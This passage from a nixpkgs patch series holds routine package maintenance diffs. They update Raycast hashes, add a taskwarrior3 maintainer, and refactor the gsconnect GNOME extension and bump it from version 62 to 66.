-        hash = "sha256-Fh46CsAeE9TpqVlYCc6s5ytO5dm+xoDJ7NawML4D9R4=";
+        hash = "sha256-nfkgwSmIIRtsU6j+/y9xWO7KaBDQCrphftyn58/Pqrk=";
       };
       x86_64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=x86_64";
-        hash = "sha256-tBFnk5R9BqfL+MH1tBY76al7/jVzqpfI7yIGADQh6wQ=";
+        hash = "sha256-4H8TlPEkp5m+E+Eo3VvNE9F5g7v3h4F6inf7UysTW0U=";
       };
     }
     .${stdenvNoCC.system} or (throw "raycast: ${stdenvNoCC.system} is unsupported.");

From 8c9e93bd5e5c8285d92288e8065a93823d763181 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Adrian=20Sad=C5=82ocha?= <adrian@sadlocha.eu>
Date: Fri, 12 Sep 2025 20:27:16 +0100
Subject: [PATCH 4508/4511] taskwarrior3: add Necior to maintainers

(cherry picked from commit fb2b1093afaf3fc6927bb984798daf522a68c804)
---
 pkgs/by-name/ta/taskwarrior3/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ta/taskwarrior3/package.nix b/pkgs/by-name/ta/taskwarrior3/package.nix
index 0224cbe2d8aa..3f100fbb6b7c 100644
--- a/pkgs/by-name/ta/taskwarrior3/package.nix
+++ b/pkgs/by-name/ta/taskwarrior3/package.nix
@@ -122,6 +122,7 @@ stdenv.mkDerivation (finalAttrs: {
       oxalica
       mlaradji
       doronbehar
+      Necior
     ];
     mainProgram = "task";
     platforms = lib.platforms.unix;

From 25afb42a5dfb8e5c065de3ec9cc2ba88af991e9f Mon Sep 17 00:00:00 2001
From: Doron Behar <doron.behar@gmail.com>
Date: Sat, 9 Aug 2025 22:24:20 +0300
Subject: [PATCH 4509/4511] gnomeExtensions.gsconnect: no with lib; in meta

(cherry picked from commit fd6649a37406e46600b0f6680ab00d2f24534f94)
---
 pkgs/desktops/gnome/extensions/gsconnect/default.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/desktops/gnome/extensions/gsconnect/default.nix b/pkgs/desktops/gnome/extensions/gsconnect/default.nix
index a9283b808027..a34faf4c0857 100644
--- a/pkgs/desktops/gnome/extensions/gsconnect/default.nix
+++ b/pkgs/desktops/gnome/extensions/gsconnect/default.nix
@@ -116,12 +116,12 @@ stdenv.mkDerivation rec {
     };
   };
 
-  meta = with lib; {
+  meta = {
     description = "KDE Connect implementation for Gnome Shell";
     homepage = "https://github.com/GSConnect/gnome-shell-extension-gsconnect/wiki";
-    license = licenses.gpl2Plus;
-    maintainers = [ maintainers.doronbehar ];
-    teams = [ teams.gnome ];
-    platforms = platforms.linux;
+    license = lib.licenses.gpl2Plus;
+    maintainers = with lib.maintainers; [ doronbehar ];
+    teams = [ lib.teams.gnome ];
+    platforms = lib.platforms.linux;
   };
 }

From 62d44d52df2f91eefbf1c34ee5956230dd5fd016 Mon Sep 17 00:00:00 2001
From: Doron Behar <doron.behar@gmail.com>
Date: Sat, 9 Aug 2025 22:25:28 +0300
Subject: [PATCH 4510/4511] gnomeExtensions.gsconnect: use finalAttrs

(cherry picked from commit ea703a07b9719ff3abf5786fbe4f29e2cd743cdc)
---
 pkgs/desktops/gnome/extensions/gsconnect/default.nix | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/pkgs/desktops/gnome/extensions/gsconnect/default.nix b/pkgs/desktops/gnome/extensions/gsconnect/default.nix
index a34faf4c0857..98b9b11d0202 100644
--- a/pkgs/desktops/gnome/extensions/gsconnect/default.nix
+++ b/pkgs/desktops/gnome/extensions/gsconnect/default.nix
@@ -21,7 +21,7 @@
   desktop-file-utils,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "gnome-shell-extension-gsconnect";
   version = "62";
 
@@ -33,7 +33,7 @@ stdenv.mkDerivation rec {
   src = fetchFromGitHub {
     owner = "GSConnect";
     repo = "gnome-shell-extension-gsconnect";
-    rev = "v${version}";
+    rev = "v${finalAttrs.version}";
     hash = "sha256-HFm04XC61AjkJSt4YBc4dO9v563w+LsYDSaZckPYE14=";
   };
 
@@ -88,7 +88,8 @@ stdenv.mkDerivation rec {
 
     # slightly janky fix for gsettings_schemadir being removed
     substituteInPlace data/config.js.in \
-      --subst-var-by GSETTINGS_SCHEMA_DIR ${glib.makeSchemaPath (placeholder "out") "${pname}-${version}"}
+      --subst-var-by GSETTINGS_SCHEMA_DIR \
+        ${glib.makeSchemaPath (placeholder "out") "${finalAttrs.pname}-${finalAttrs.version}"}
   '';
 
   postFixup = ''
@@ -124,4 +125,4 @@ stdenv.mkDerivation rec {
     teams = [ lib.teams.gnome ];
     platforms = lib.platforms.linux;
   };
-}
+})

From 1f90656cac215393f711228c62ea0993fcd21913 Mon Sep 17 00:00:00 2001
From: Doron Behar <doron.behar@gmail.com>
Date: Sat, 9 Aug 2025 22:27:37 +0300
Subject: [PATCH 4511/4511] gnomeExtensions.gsconnect: 62 -> 66

Diff: https://github.com/GSConnect/gnome-shell-extension-gsconnect/compare/v62...v66
(cherry picked from commit 4a2b05d457092be8ca48c198730544a6c674084c)
---
 pkgs/desktops/gnome/extensions/gsconnect/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/desktops/gnome/extensions/gsconnect/default.nix b/pkgs/desktops/gnome/extensions/gsconnect/default.nix
index 98b9b11d0202..3dc94311f766 100644
--- a/pkgs/desktops/gnome/extensions/gsconnect/default.nix
+++ b/pkgs/desktops/gnome/extensions/gsconnect/default.nix
@@ -23,7 +23,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gnome-shell-extension-gsconnect";
-  version = "62";
+  version = "66";
 
   outputs = [
     "out"
@@ -34,7 +34,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "GSConnect";
     repo = "gnome-shell-extension-gsconnect";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-HFm04XC61AjkJSt4YBc4dO9v563w+LsYDSaZckPYE14=";
+    hash = "sha256-QPvdSmt4aUkPvaOUonovrCxW4pxrgoopXGi3KSukVD8=";
   };
 
   patches = [